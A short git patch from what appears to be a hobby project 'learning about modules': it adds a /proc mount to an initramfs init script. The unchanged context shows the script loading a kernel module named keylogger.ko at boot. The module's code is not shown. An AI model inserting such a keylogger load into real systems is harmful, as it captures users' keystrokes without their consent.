From 2c0f30c29b4b70a45ba01a0c32ae31ac7f75625b Mon Sep 17 00:00:00 2001 From: kartofen Date: Wed, 26 Apr 2023 23:29:14 +0300 Subject: learning about modules --- src/initramfs-init.sh | 4 ++++ 1 file changed, 4 insertions(+) (limited to 'src/initramfs-init.sh') diff --git a/src/initramfs-init.sh b/src/initramfs-init.sh index 2144100..7ce8606 100644 --- a/src/initramfs-init.sh +++ b/src/initramfs-init.sh @@ -1,5 +1,9 @@ #!/bin/sh +# mount the proc file system +mkdir /proc +mount -t proc proc /proc + insmod /usr/bin/keylogger.ko dmesg -- cgit v1.2.3